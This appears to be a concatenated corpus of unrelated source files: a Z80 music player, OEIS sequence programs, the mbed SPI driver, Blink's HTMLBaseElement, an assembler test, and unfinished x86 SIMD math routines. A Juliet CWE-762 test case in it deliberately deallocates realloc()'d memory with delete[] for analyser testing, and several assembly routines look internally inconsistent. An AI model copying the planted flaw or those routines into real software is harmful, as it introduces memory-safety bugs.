db 0,135, 0,127, 0,113, 0,107, 0,90, 0,85, 0,76, 0,64
;-----------------------------------------------
; Sound effects used for the percussion in the songs
SFX_open_hi_hat:
db 7,#9c ;; noise in channel C, and tone in channels B and A
db 10,#0a ;; volume
db 6+MUSIC_CMD_TIME_STEP_FLAG,#01 ;; noise frequency
db MUSIC_CMD_SKIP
db 10+MUSIC_CMD_TIME_STEP_FLAG,#08 ;; volume
db MUSIC_CMD_SKIP
db 10+MUSIC_CMD_TIME_STEP_FLAG,#06 ;; volume
db MUSIC_CMD_SKIP,MUSIC_CMD_SKIP,MUSIC_CMD_SKIP
db MUSIC_CMD_SKIP,MUSIC_CMD_SKIP,MUSIC_CMD_SKIP,MUSIC_CMD_SKIP
db 7,#b8 ;; SFX all channels to tone
db 10,#00 ;; channel 3 volume to silence
db SFX_CMD_END
SFX_pedal_hi_hat:
db 7,#9c ;; noise in channel C, and tone in channels B and A
db 10,#05 ;; volume
db 6+MUSIC_CMD_TIME_STEP_FLAG,#04 ;; noise frequency
db 10+MUSIC_CMD_TIME_STEP_FLAG,#08 ;; volume
db 10+MUSIC_CMD_TIME_STEP_FLAG,#0b ;; volume
db 7,#b8 ;; SFX all channels to tone
db 10,#00 ;; channel 3 volume to silence
db SFX_CMD_END
;-----------------------------------------------
; arguments:
; - hl: song to decompress and play
; - a: MUSIC_tempo
PlayCompressedSong:
push af
ld de,music_buffer
call pletter_unpack
pop af
;-----------------------------------------------
; starts playing a song
; arguments:
; - a: MUSIC_tempo
playMusic:
ld (MUSIC_tempo),a
call StopPlayingMusic
di
ld a,1
ld hl,music_buffer
ld (MUSIC_play),a
ld (MUSIC_pointer),hl
ld (MUSIC_start_pointer),hl
ld hl,MUSIC_repeat_stack
ld (MUSIC_repeat_stack_ptr),hl
ei
ret
;-----------------------------------------------
update_sound_END:
pauseMusic:
xor a
ld (MUSIC_play),a
jp clear_PSG_volume
;-----------------------------------------------
resumeMusic:
ld a,1
ld (MUSIC_play),a
ret
;-----------------------------------------------
StopPlayingMusic:
di
ld hl,beginning_of_sound_variables_except_tempo
ld b,end_of_sound_variables - beginning_of_sound_variables_except_tempo
xor a
StopPlayingMusic_loop:
ld (hl),a
inc hl
djnz StopPlayingMusic_loop
call clear_PSG_volume
ei
ret
;-----------------------------------------------
; silences all 3 channels of the PSG
clear_PSG_volume:
ld a,8
ld e,0
call WRTPSG
ld a,9
ld e,0
call WRTPSG
ld a,10
ld e,0
jp WRTPSG
;-----------------------------------------------
; Loads the interrupt hook for playing music:
;setup_music_interrupt:
; call StopPlayingMusic
; ld a,JPCODE ;NEW HOOK SET
; di
; ld (TIMI),a
; ld hl,update_sound
; ld (TIMI+1),hl
; ei
; ret
;-----------------------------------------------
; Music player update routine
update_sound: ; This routine sould be called 50 or 60 times / sec
push af
ld a,(MUSIC_play)
or a
jr z,update_sound_no_music_no_pop_bc_de
push de
push bc
call update_sound_handle_instruments
ld a,(MUSIC_tempo_counter)
or a
jr nz,update_sound_skip
push ix
push hl
ld ix,(MUSIC_repeat_stack_ptr)
xor a
ld (MUSIC_time_step_required),a
ld hl,(MUSIC_pointer)
call update_sound_internal
ld (MUSIC_pointer),hl
ld (MUSIC_repeat_stack_ptr),ix
pop hl
pop ix
ld a,(MUSIC_tempo)
ld (MUSIC_tempo_counter),a
jr update_sound_music_done
update_sound_skip:
dec a
ld (MUSIC_tempo_counter),a
update_sound_music_done:
pop bc
pop de
update_sound_no_music_no_pop_bc_de:
push bc
ld a,(SFX_priority)
or a
jr z,update_sound_no_sfx
push hl
push de
xor a
ld (MUSIC_time_step_required),a
ld hl,(SFX_pointer)
call update_sound_internal
ld (SFX_pointer),hl
pop de
pop hl
update_sound_no_sfx:
pop bc
pop af
ret
;-----------------------------------------------
; Starts playing an SFX
; arguments:
; - a: SFX priority
; - hl: pointer to the SFX to play
play_ingame_SFX:
;ld a,(global_options)
;bit OPTIONS_BIT_OTHER_SFX,a
;ret nz
play_SFX_with_high_priority:
ld a,SFX_PRIORITY_HIGH
play_SFX_with_priority:
push hl
ld hl,SFX_priority
cp (hl)
pop hl
jp m,play_SFX_with_priority_ignore
di
ld (SFX_pointer),hl
ld (SFX_priority),a
xor a
ld (MUSIC_instruments+2),a ;; reset the instrument in channel 3 to Square wave, so it does not interfere with the SFX
ei
play_SFX_with_priority_ignore:
ret
;-----------------------------------------------
; handle the different curves of the music instruments
update_sound_handle_instruments:
ld a,(MUSIC_instruments)
or a ; MUSIC_INSTRUMENT_SQUARE_WAVE
jr z,update_sound_handle_instruments_CH2
ld de,(MUSIC_instrument_envelope_ptr)
ld a,(de)
cp #ff
jr z,update_sound_handle_instruments_CH2
inc de
ld (MUSIC_instrument_envelope_ptr),de
ld e,a
ld a,8
call WRTPSG
update_sound_handle_instruments_CH2:
ld a,(MUSIC_instruments+1)
or a ; MUSIC_INSTRUMENT_SQUARE_WAVE
jr z,update_sound_handle_instruments_CH3
ld de,(MUSIC_instrument_envelope_ptr+2)
ld a,(de)
cp #ff
jr z,update_sound_handle_instruments_CH3
inc de
ld (MUSIC_instrument_envelope_ptr+2),de
ld e,a
ld a,9
call WRTPSG
update_sound_handle_instruments_CH3:
ld a,(SFX_priority)
or a
ret nz ; if there is an SFX playing, then do not update the instruments in channel 3!
ld a,(MUSIC_instruments+2)
or a ; MUSIC_INSTRUMENT_SQUARE_WAVE
ret z
ld de,(MUSIC_instrument_envelope_ptr+4)
ld a,(de)
cp #ff
ret z
inc de
ld (MUSIC_instrument_envelope_ptr+4),de
ld e,a
ld a,10
jp WRTPSG
update_sound_WRTPSG:
and #0f ; clear all the flags that the command might have
ld e,(hl)
inc hl
call WRTPSG ;; send command to PSG
jr update_sound_internal_loop
update_sound_SET_INSTRUMENT:
ld d,(hl) ; instrument
inc hl
ld a,(hl) ; channel
inc hl
push hl
cp 2
jr nz,update_sound_SET_INSTRUMENT_not_third_channel
ld hl,MUSIC_channel3_instrument_buffer
ld (hl),d
update_sound_SET_INSTRUMENT_not_third_channel:
ld hl,MUSIC_instruments
ADD_HL_A
ld (hl),d
pop hl
jr update_sound_internal_loop
update_sound_GOTO:
ld e,(hl)
inc hl
ld d,(hl)
ld hl,(MUSIC_start_pointer)
add hl,de
; we also need to silence channels 1 and 2, just in case
ld a,8
ld e,0
call WRTPSG
ld a,9
ld e,0
call WRTPSG
xor a
ld (MUSIC_instruments),a
ld (MUSIC_instruments+1),a
jr update_sound_internal_loop
update_sound_REPEAT:
ld a,(hl)
inc hl
ld (ix),a
ld (ix+1),l
ld (ix+2),h
inc ix
inc ix
inc ix
jr update_sound_internal_loop
update_sound_END_REPEAT:
;; decrease the top value of the repeat stack
;; if it is 0, pop
;; if it is not 0, goto the repeat point
ld a,(ix-3)
dec a
or a
jr z,update_sound_END_REPEAT_POP
ld (ix-3),a
ld l,(ix-2)
ld h,(ix-1)
jr update_sound_internal_loop
update_sound_END_REPEAT_POP:
dec ix
dec ix
dec ix
jr update_sound_internal_loop
update_sound_command_time_step:
push af
ld a,1
ld (MUSIC_time_step_required),a
pop af
ret
update_sound_internal_loop:
; check if there is a time step required on the last command
ld a,(MUSIC_time_step_required)
or a
ret nz
update_sound_internal:
ld a,(hl)
inc hl
; check if it's a special command:
bit 6,a
call nz,update_sound_command_time_step
bit 7,a
jp z,update_sound_WRTPSG
and #3f ; clear all the flags the command might have
ret z ; MUSIC_CMD_SKIP command
dec a ; MUSIC_CMD_SET_INSTRUMENT
jp z,update_sound_SET_INSTRUMENT
dec a ; MUSIC_CMD_PLAY_INSTRUMENT_CH1
jr z,update_sound_PLAY_INSTRUMENT_CH1
dec a ; MUSIC_CMD_PLAY_INSTRUMENT_CH2
jr z,update_sound_PLAY_INSTRUMENT_CH2
dec a ; MUSIC_CMD_PLAY_INSTRUMENT_CH3
jr z,update_sound_PLAY_INSTRUMENT_CH3
dec a ; MUSIC_CMD_PLAY_SFX_OPEN_HIHAT
jr z,update_sound_PLAY_SFX_OPEN_HIHAT
dec a ; MUSIC_CMD_PLAY_SFX_PEDAL_HIHAT
jr z,update_sound_PLAY_SFX_PEDAL_HIHAT
dec a ; MUSIC_CMD_GOTO
jr z,update_sound_GOTO
dec a ; MUSIC_CMD_REPEAT
jr z,update_sound_REPEAT
dec a ; MUSIC_CMD_END_REPEAT
jr z,update_sound_END_REPEAT
dec a ; MUSIC_CMD_END
jp z,update_sound_END
; dec a ; MUSIC_CMD_TRANSPOSE_UP
; jr z,update_sound_TRANSPOSE_UP
; dec a ; MUSIC_CMD_CLEAR_TRANSPOSE
; jr z,update_sound_CLEAR_TRANSPOSE
; SFX_CMD_END
; jp update_sound_SFX_END ;; if the SFX sound is over, we are done
update_sound_SFX_END:
xor a
ld (SFX_priority),a
ld a,7
ld e,#b8 ;; SFX should reset all channels to tone
jp WRTPSG
update_sound_PLAY_SFX_OPEN_HIHAT:
push hl
ld hl,SFX_open_hi_hat
update_sound_PLAY_SFX_OPEN_HIHAT_entry:
ld a,SFX_PRIORITY_MUSIC
call play_SFX_with_priority
pop hl
jp update_sound_internal_loop
update_sound_PLAY_SFX_PEDAL_HIHAT:
push hl
ld hl,SFX_pedal_hi_hat
jr update_sound_PLAY_SFX_OPEN_HIHAT_entry
;update_sound_TRANSPOSE_UP:
; ld a,(MUSIC_transpose)
; inc a
;update_sound_TRANSPOSE_UP_entry:
; ld (MUSIC_transpose),a
; jp update_sound_internal_loop
;update_sound_CLEAR_TRANSPOSE:
; xor a
; jr update_sound_TRANSPOSE_UP_entry
update_sound_PLAY_INSTRUMENT_CH1:
ld a,1
jr update_sound_PLAY_INSTRUMENT
update_sound_PLAY_INSTRUMENT_CH2:
ld a,3
jr update_sound_PLAY_INSTRUMENT
update_sound_PLAY_INSTRUMENT_CH3:
ld a,(SFX_priority)
cp SFX_PRIORITY_LOW
jp p,update_sound_PLAY_INSTRUMENT_IGNORE
ld a,(MUSIC_channel3_instrument_buffer)
ld (MUSIC_instruments+2),a
ld a,5
update_sound_PLAY_INSTRUMENT:
push hl
push af
ld b,0 ; for later use
ld c,(hl) ; note to play
; ld hl,MUSIC_transpose
; ld a,(hl)
; add a,c
; ld c,a
ld hl,note_period_table
add hl,bc
add hl,bc
ld e,(hl) ; MSB of the period
inc hl
pop af
push af
call WRTPSG
pop af
ld e,(hl) ; LSB of the period
dec a
push af
call WRTPSG
pop af
ld hl,MUSIC_instruments
ld c,a ; here a == 0, 2 or 4 depending on which channel we are playing
srl a ; divide by 2
ADD_HL_A ; HL = MUSIC_instruments + channel
ld a,(hl) ; we get the instrument
ld de,Instrument_profiles
ADD_DE_A ; we calculate pointer to the instrument envelope
ld hl,MUSIC_instrument_envelope_ptr
add hl,bc ; b should still be 0 here, so, we are just adding c
ld (hl),e
inc hl
ld (hl),d
pop hl
ld a,c ; calculate the volume port: (c/2)+8
sra a
add a,8
ld c,a
ld a,(de)
ld e,a
ld a,c
call WRTPSG
update_sound_PLAY_INSTRUMENT_IGNORE:
inc hl
jp update_sound_internal_loop
|
; A032609: Concatenation of n and n + 4 or {n,n+4}.
; 15,26,37,48,59,610,711,812,913,1014,1115,1216,1317,1418,1519,1620,1721,1822,1923,2024,2125,2226,2327,2428,2529,2630,2731,2832,2933,3034,3135,3236,3337,3438,3539,3640,3741,3842,3943,4044,4145,4246
mov $1,$0
add $1,1
mov $2,$0
add $0,1
add $1,3
lpb $1
mul $0,10
div $1,9
lpe
add $0,$2
add $0,5
|
; A228874: a(n) = L(n) * L(n+1) * L(n+2) * L(n+3), the product of four consecutive Lucas numbers, A000032.
; Submitted by Jamie Morken(s4)
; 24,84,924,5544,40194,269874,1864584,12741324,87431844,599001144,4106310474,28143249834,192901471224,1322153872644,9062210132844,62113226746824,425730613530834,2918000448971874,20000274149827944,137083914357154044,939587137457703924,6440026018767082584,44140595070043493274,302544139272222203994,2073668380357325814744,14213134521862932025524,97418273276259763905084,667714778402591845160424,4576585175566397297125794,31368381450498010370146194,215002084978087697742711624
add $0,1
seq $0,75269 ; Product of Lucas numbers and inverted Lucas numbers: a(n)=A000032(n)*A075193(n).
mov $1,5
sub $2,$0
add $1,$2
mul $2,$1
mov $0,$2
|
/* mbed Microcontroller Library
* Copyright (c) 2006-2013 ARM Limited
* SPDX-License-Identifier: Apache-2.0
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include "drivers/SPI.h"
#include "platform/mbed_critical.h"
#if DEVICE_SPI_ASYNCH
#include "platform/mbed_power_mgmt.h"
#endif
#if DEVICE_SPI
namespace mbed {
SPI::spi_peripheral_s SPI::_peripherals[SPI_PERIPHERALS_USED];
int SPI::_peripherals_used;
SPI::SPI(PinName mosi, PinName miso, PinName sclk, PinName ssel) :
#if DEVICE_SPI_ASYNCH
_irq(this),
#endif
_mosi(mosi),
_miso(miso),
_sclk(sclk),
_hw_ssel(ssel),
_sw_ssel(NC)
{
_do_construct();
}
SPI::SPI(PinName mosi, PinName miso, PinName sclk, PinName ssel, use_gpio_ssel_t) :
#if DEVICE_SPI_ASYNCH
_irq(this),
#endif
_mosi(mosi),
_miso(miso),
_sclk(sclk),
_hw_ssel(NC),
_sw_ssel(ssel, 1)
{
_do_construct();
}
void SPI::_do_construct()
{
// No lock needed in the constructor
#if DEVICE_SPI_ASYNCH
_usage = DMA_USAGE_NEVER;
_deep_sleep_locked = false;
#endif
_select_count = 0;
_bits = 8;
_mode = 0;
_hz = 1000000;
_write_fill = SPI_FILL_CHAR;
// Need backwards compatibility with HALs not providing API
#ifdef DEVICE_SPI_COUNT
SPIName name = spi_get_peripheral_name(_mosi, _miso, _sclk);
#else
SPIName name = GlobalSPI;
#endif
core_util_critical_section_enter();
// lookup in a critical section if we already have it else initialize it
_peripheral = SPI::_lookup(name);
if (!_peripheral) {
_peripheral = SPI::_alloc();
_peripheral->name = name;
}
core_util_critical_section_exit();
#if DEVICE_SPI_ASYNCH && TRANSACTION_QUEUE_SIZE_SPI
// prime the SingletonPtr, so we don't have a problem trying to
// construct the buffer if asynch operation initiated from IRQ
_peripheral->transaction_buffer.get();
#endif
// we don't need to _acquire at this stage.
// this will be done anyway before any operation.
}
SPI::~SPI()
{
lock();
/* Make sure a stale pointer isn't left in peripheral's owner field */
if (_peripheral->owner == this) {
_peripheral->owner = NULL;
}
unlock();
}
SPI::spi_peripheral_s *SPI::_lookup(SPI::SPIName name)
{
SPI::spi_peripheral_s *result = NULL;
core_util_critical_section_enter();
for (int idx = 0; idx < _peripherals_used; idx++) {
if (_peripherals[idx].name == name) {
result = &_peripherals[idx];
break;
}
}
core_util_critical_section_exit();
return result;
}
SPI::spi_peripheral_s *SPI::_alloc()
{
MBED_ASSERT(_peripherals_used < SPI_PERIPHERALS_USED);
return &_peripherals[_peripherals_used++];
}
void SPI::format(int bits, int mode)
{
lock();
_bits = bits;
_mode = mode;
// If changing format while you are the owner then just
// update format, but if owner is changed then even frequency should be
// updated which is done by acquire.
if (_peripheral->owner == this) {
spi_format(&_peripheral->spi, _bits, _mode, 0);
} else {
_acquire();
}
unlock();
}
void SPI::frequency(int hz)
{
lock();
_hz = hz;
// If changing format while you are the owner then just
// update frequency, but if owner is changed then even frequency should be
// updated which is done by acquire.
if (_peripheral->owner == this) {
spi_frequency(&_peripheral->spi, _hz);
} else {
_acquire();
}
unlock();
}
// Note: Private function with no locking
void SPI::_acquire()
{
if (_peripheral->owner != this) {
spi_init(&_peripheral->spi, _mosi, _miso, _sclk, _hw_ssel);
spi_format(&_peripheral->spi, _bits, _mode, 0);
spi_frequency(&_peripheral->spi, _hz);
_peripheral->owner = this;
}
}
int SPI::write(int value)
{
select();
int ret = spi_master_write(&_peripheral->spi, value);
deselect();
return ret;
}
int SPI::write(const char *tx_buffer, int tx_length, char *rx_buffer, int rx_length)
{
select();
int ret = spi_master_block_write(&_peripheral->spi, tx_buffer, tx_length, rx_buffer, rx_length, _write_fill);
deselect();
return ret;
}
void SPI::_set_ssel(int val)
{
if (_sw_ssel.is_connected()) {
_sw_ssel = val;
}
}
void SPI::lock()
{
_peripheral->mutex->lock();
}
void SPI::select()
{
lock();
if (_select_count++ == 0) {
_acquire();
_set_ssel(0);
}
}
void SPI::unlock()
{
_peripheral->mutex->unlock();
}
void SPI::deselect()
{
if (--_select_count == 0) {
_set_ssel(1);
}
unlock();
}
void SPI::set_default_write_value(char data)
{
// this does not actually need to lock the peripheral.
lock();
_write_fill = data;
unlock();
}
#if DEVICE_SPI_ASYNCH
int SPI::transfer(const void *tx_buffer, int tx_length, void *rx_buffer, int rx_length, unsigned char bit_width, const event_callback_t &callback, int event)
{
if (spi_active(&_peripheral->spi)) {
return queue_transfer(tx_buffer, tx_length, rx_buffer, rx_length, bit_width, callback, event);
}
start_transfer(tx_buffer, tx_length, rx_buffer, rx_length, bit_width, callback, event);
return 0;
}
void SPI::abort_transfer()
{
spi_abort_asynch(&_peripheral->spi);
unlock_deep_sleep();
#if TRANSACTION_QUEUE_SIZE_SPI
dequeue_transaction();
#endif
}
void SPI::clear_transfer_buffer()
{
#if TRANSACTION_QUEUE_SIZE_SPI
_peripheral->transaction_buffer->reset();
#endif
}
void SPI::abort_all_transfers()
{
clear_transfer_buffer();
abort_transfer();
}
int SPI::set_dma_usage(DMAUsage usage)
{
if (spi_active(&_peripheral->spi)) {
return -1;
}
_usage = usage;
return 0;
}
int SPI::queue_transfer(const void *tx_buffer, int tx_length, void *rx_buffer, int rx_length, unsigned char bit_width, const event_callback_t &callback, int event)
{
#if TRANSACTION_QUEUE_SIZE_SPI
transaction_t t;
t.tx_buffer = const_cast<void *>(tx_buffer);
t.tx_length = tx_length;
t.rx_buffer = rx_buffer;
t.rx_length = rx_length;
t.event = event;
t.callback = callback;
t.width = bit_width;
Transaction<SPI> transaction(this, t);
if (_peripheral->transaction_buffer->full()) {
return -1; // the buffer is full
} else {
core_util_critical_section_enter();
_peripheral->transaction_buffer->push(transaction);
if (!spi_active(&_peripheral->spi)) {
dequeue_transaction();
}
core_util_critical_section_exit();
return 0;
}
#else
return -1;
#endif
}
void SPI::start_transfer(const void *tx_buffer, int tx_length, void *rx_buffer, int rx_length, unsigned char bit_width, const event_callback_t &callback, int event)
{
lock_deep_sleep();
_acquire();
_set_ssel(0);
_callback = callback;
_irq.callback(&SPI::irq_handler_asynch);
spi_master_transfer(&_peripheral->spi, tx_buffer, tx_length, rx_buffer, rx_length, bit_width, _irq.entry(), event, _usage);
}
void SPI::lock_deep_sleep()
{
if (_deep_sleep_locked == false) {
sleep_manager_lock_deep_sleep();
_deep_sleep_locked = true;
}
}
void SPI::unlock_deep_sleep()
{
if (_deep_sleep_locked == true) {
sleep_manager_unlock_deep_sleep();
_deep_sleep_locked = false;
}
}
#if TRANSACTION_QUEUE_SIZE_SPI
void SPI::start_transaction(transaction_t *data)
{
start_transfer(data->tx_buffer, data->tx_length, data->rx_buffer, data->rx_length, data->width, data->callback, data->event);
}
void SPI::dequeue_transaction()
{
Transaction<SPI> t;
if (_peripheral->transaction_buffer->pop(t)) {
SPI *obj = t.get_object();
transaction_t *data = t.get_transaction();
obj->start_transaction(data);
}
}
#endif
void SPI::irq_handler_asynch(void)
{
int event = spi_irq_handler_asynch(&_peripheral->spi);
if (_callback && (event & SPI_EVENT_ALL)) {
_set_ssel(1);
unlock_deep_sleep();
_callback.call(event & SPI_EVENT_ALL);
}
#if TRANSACTION_QUEUE_SIZE_SPI
if (event & (SPI_EVENT_ALL | SPI_EVENT_INTERNAL_TRANSFER_COMPLETE)) {
// SPI peripheral is free (event happened), dequeue transaction
dequeue_transaction();
}
#endif
}
#endif
} // namespace mbed
#endif
|
/*
* Copyright (C) 1999 Lars Knoll (knoll@kde.org)
* (C) 1999 Antti Koivisto (koivisto@kde.org)
* (C) 2001 Dirk Mueller (mueller@kde.org)
* Copyright (C) 2003, 2008, 2009, 2010 Apple Inc. All rights reserved.
*
* This library is free software; you can redistribute it and/or
* modify it under the terms of the GNU Library General Public
* License as published by the Free Software Foundation; either
* version 2 of the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* Library General Public License for more details.
*
* You should have received a copy of the GNU Library General Public License
* along with this library; see the file COPYING.LIB. If not, write to
* the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,
* Boston, MA 02110-1301, USA.
*/
#include "config.h"
#include "core/html/HTMLBaseElement.h"
#include "core/HTMLNames.h"
#include "core/dom/Attribute.h"
#include "core/dom/Document.h"
#include "core/html/parser/HTMLParserIdioms.h"
#include "core/html/parser/TextResourceDecoder.h"
namespace blink {
using namespace HTMLNames;
inline HTMLBaseElement::HTMLBaseElement(Document& document)
: HTMLElement(baseTag, document)
{
}
DEFINE_NODE_FACTORY(HTMLBaseElement)
void HTMLBaseElement::parseAttribute(const QualifiedName& name, const AtomicString& value)
{
if (name == hrefAttr || name == targetAttr)
document().processBaseElement();
else
HTMLElement::parseAttribute(name, value);
}
Node::InsertionNotificationRequest HTMLBaseElement::insertedInto(ContainerNode* insertionPoint)
{
HTMLElement::insertedInto(insertionPoint);
if (insertionPoint->inDocument())
document().processBaseElement();
return InsertionDone;
}
void HTMLBaseElement::removedFrom(ContainerNode* insertionPoint)
{
HTMLElement::removedFrom(insertionPoint);
if (insertionPoint->inDocument())
document().processBaseElement();
}
bool HTMLBaseElement::isURLAttribute(const Attribute& attribute) const
{
return attribute.name().localName() == hrefAttr || HTMLElement::isURLAttribute(attribute);
}
KURL HTMLBaseElement::href() const
{
// This does not use the getURLAttribute function because that will resolve relative to the document's base URL;
// base elements like this one can be used to set that base URL. Thus we need to resolve relative to the document's
// URL and ignore the base URL.
const AtomicString& attributeValue = fastGetAttribute(hrefAttr);
if (attributeValue.isNull())
return document().url();
KURL url = document().encoding().isValid() ?
KURL(document().url(), stripLeadingAndTrailingHTMLSpaces(attributeValue)) :
KURL(document().url(), stripLeadingAndTrailingHTMLSpaces(attributeValue), document().encoding());
if (!url.isValid())
return KURL();
return url;
}
void HTMLBaseElement::setHref(const AtomicString& value)
{
setAttribute(hrefAttr, value);
}
}
|
# RUN: llvm-ml -filetype=s %s /Fo - | FileCheck %s
.code
t1:
mov eax, \
ebx
# CHECK: t1:
# CHECK-NEXT: mov eax, ebx
t2:
mov eax, [ebx + \
1]
# CHECK: t2:
# CHECK-NEXT: mov eax, dword ptr [ebx + 1]
END
|
; A100335: An inverse Catalan transform of J(2n).
; 0,1,4,11,27,64,149,341,768,1707,3755,8192,17749,38229,81920,174763,371371,786432,1660245,3495253,7340032,15379115,32156331,67108864,139810133,290805077,603979776,1252698795,2594876075,5368709120
mov $1,2
lpb $0
mul $1,2
add $1,$0
sub $0,1
lpe
div $1,3
mov $0,$1
|
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE762_Mismatched_Memory_Management_Routines__delete_array_long_realloc_63b.cpp
Label Definition File: CWE762_Mismatched_Memory_Management_Routines__delete_array.label.xml
Template File: sources-sinks-63b.tmpl.cpp
*/
/*
* @description
* CWE: 762 Mismatched Memory Management Routines
* BadSource: realloc Allocate data using realloc()
* GoodSource: Allocate data using new []
* Sinks:
* GoodSink: Deallocate data using free()
* BadSink : Deallocate data using delete []
* Flow Variant: 63 Data flow: pointer to data passed from one function to another in different source files
*
* */
#include "std_testcase.h"
namespace CWE762_Mismatched_Memory_Management_Routines__delete_array_long_realloc_63
{
#ifndef OMITBAD
void badSink(long * * dataPtr)
{
long * data = *dataPtr;
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete [] data;
}
#endif /* OMITBAD */
#ifndef OMITGOOD
/* goodG2B uses the GoodSource with the BadSink */
void goodG2BSink(long * * dataPtr)
{
long * data = *dataPtr;
/* POTENTIAL FLAW: Deallocate memory using delete [] - the source memory allocation function may
* require a call to free() to deallocate the memory */
delete [] data;
}
/* goodB2G uses the BadSource with the GoodSink */
void goodB2GSink(long * * dataPtr)
{
long * data = *dataPtr;
/* FIX: Free memory using free() */
free(data);
}
#endif /* OMITGOOD */
} /* close namespace */
|
; RECORDATORIOS
; inputs: rdi, rsi, rdx, rcx, r8, r9
; preservar: r12, r13, r14, r15, rbx,
; la pila: rbp, rsp
; devolver cosas por rax o xmmo
; inputs floats: xmm0, xmm1, ..., xmm7
global cost_derivative
global vector_sum
global update_weight
global hadamard_product
global matrix_prod
; YA IMPLEMENTADAS EN C
extern fprintf
extern malloc
extern free
extern fclose
extern fopen
; /** DEFINES **/
%define NULL 0
%define TRUE 1
%define FALSE 0
%define LF 10
section .text
;/** FUNCIONES MATRICIALES **/
;-----------------------------------------------------------
; void cost_derivative(
; double* res_vec (rdi)
; double* target_vec (rsi)
; double* output (rdx)
; )
cost_derivative:
; ;Calculo la cantidad de elementos total
; xor rax, rax
; mov eax, edx
; mul ecx ;eax = low(n*m) ;edx = high(n*m)
; shl rdx, 32
; add rax, rdx ;rax = #pixeles
cmp rdx, 0
jz .fin
;Itero sobre todos los elementos y realizo la operación de SUBPD
.ciclo:
;Itero sobre todos los elementos y realizo la operación de SUBPD
%rep 2
movups xmm1, [rdi] ;xmm1 = | x0 | x1 | x2 | x3 |
movups xmm2, [rsi] ;xmm2 = | y0 | y1 | y2 | y3 |
subps xmm1, xmm2
movups [rcx], xmm1
;Avanzo los punteros
add rdi, 16
add rsi, 16
add rcx, 16
%endrep
movq xmm1, [rdi] ;xmm1 = | x0 | x1 |
movq xmm2, [rsi] ;xmm2 = | y0 | y1 |
subps xmm1, xmm2
movq [rcx], xmm1
add rdi, 8
add rsi, 8
add rcx, 8
dec rdx
jnz .ciclo
.fin:
ret
vector_sum:
;Chequeo si la cantidad de elementos es multiplo de 4
mov rax, rdx
mov rdx, 0x3
and rdx, rax
jz .multiplo
.B:
;Caso multiplo de 4: opero sobre el primer elemento por separado
movd xmm1, [rdi]
movd xmm2, [rsi]
addss xmm1, xmm2
movd [rcx], xmm1
add rdi, 4
add rsi, 4
add rcx, 4
dec rdx
jnz .B
;Inicializo el contador
.multiplo:
and al, 0xFC
;Itero sobre todos los pixeles y realizo la operación de SUBPD
.ciclo:
movupd xmm1, [rdi] ;xmm1 = | px0 | px1 | px2 | px3 |
movupd xmm2, [rsi] ;xmm2 = | px0'| px1'| px2'| px3'|
addps xmm1, xmm2
movupd [rcx], xmm1
;Avanzo los punteros
add rdi, 16
add rsi, 16
add rcx, 16
sub rax, 4
jnz .ciclo
ret
;void update_weight(
; float* w, (rdi)
; float* nw, (rsi)
; uint w_size, (rdx)
; float c (xmm0)
;)
update_weight:
;Calculo w_size mod 4
mov rcx, 0x3
and cl, dl ;rcx = w_size mod 4
jz .multiple_of_4
;Caso no-multiplo
.not_multiple_of_4:
movd xmm1, [rdi] ;xmm1 = w_0
movd xmm2, [rsi] ;xmm2 = nw_0
mulss xmm2, xmm0 ;xmm2 = c * nw_0
subss xmm1, xmm2 ;xmm1 = w_0 - c * nw_0
movd [rdi], xmm1
add rdi, 4
add rsi, 4
dec rcx
jnz .not_multiple_of_4
;Inicializo el contador
.multiple_of_4:
unpcklps xmm0, xmm0
shr rdx, 2 ;Proceso de a 4 elementos
unpcklps xmm0, xmm0
;vbroadcastss xmm0, xmm0
;Itero sobre todos los pesos y realizo la actualizacion
.ciclo:
movups xmm1, [rdi] ;xmm1 = | w_i | w_i+1 | w_i+2 | w_i+3 |
movups xmm2, [rsi] ;xmm2 = | nw_i| nw_i+1| nw_i+2| nw_i+3|
mulps xmm2, xmm0
subps xmm1, xmm2
movups [rdi], xmm1
;Avanzo los punteros
add rdi, 16
add rsi, 16
dec rdx
jnz .ciclo
ret
; inputs: rdi, rsi, rdx, rcx, r8
; float* matrix1, float* matrix2, uint n, uint m, float* output
hadamard_product:
;Calculo la cantidad de pixeles total
xor rax, rax
mov eax, edx
mul ecx ;eax = low(n*m) ;edx = high(n*m)
shl rdx, 32
add rax, rdx ;rax = #elementos
;Chequeo si la cantidad de elementos es multiplo de 4
mov rdx, 0x3
and rdx, rax
jz .A
.B:
;Caso multiplo de 4: opero sobre el primer elemento por separado
movd xmm1, [rdi]
movd xmm2, [rsi]
mulss xmm1, xmm2
movd [r8], xmm1
add rdi, 4
add rsi, 4
add r8, 4
dec rdx
jnz .B
;Inicializo el contador
.A:
and al, 0xFC
;Itero sobre todos los pixeles y realizo la operación de SUBPD
.ciclo:
movupd xmm1, [rdi] ;xmm1 = | px0 | px1 | px2 | px3 |
movupd xmm2, [rsi] ;xmm2 = | px0'| px1'| px2'| px3'|
mulps xmm1, xmm2
movupd [r8], xmm1
;Avanzo los punteros
add rdi, 16
add rsi, 16
add r8, 16
sub rax, 4
jnz .ciclo
ret
matrix_prod:
push rbp
mov rbp, rsp
push r12
push r13
push r14
push r15
push rbx
push rbx ; Cambiar esto por el sub correspondiente
mov r10, rdx ; r10 = n
; Calculo desplazamiento del ultimo elemento
; de matrix1
mov rax, r10
mul ecx
shl rdx, 32
lea r14, [rdx + rax - 1] ; r14 = n * m - 1
;Precomputo el offset del ultimo elemento de la anteultima fila de matrix2
xor rax, rax
lea eax, [ecx - 1]
mul r8d
shl rdx, 32
lea r13, [rdx + rax - 1] ; r13 = (m-1) * l - 1
;Calculo m mod 4
mov rbx, 3
and rbx, rcx ;rbx = m mod 4
jnz .i
sub r14, 3
.i:
mov r12, r8
.j:
mov r11, rcx ;Uso r11 como contador unicamente
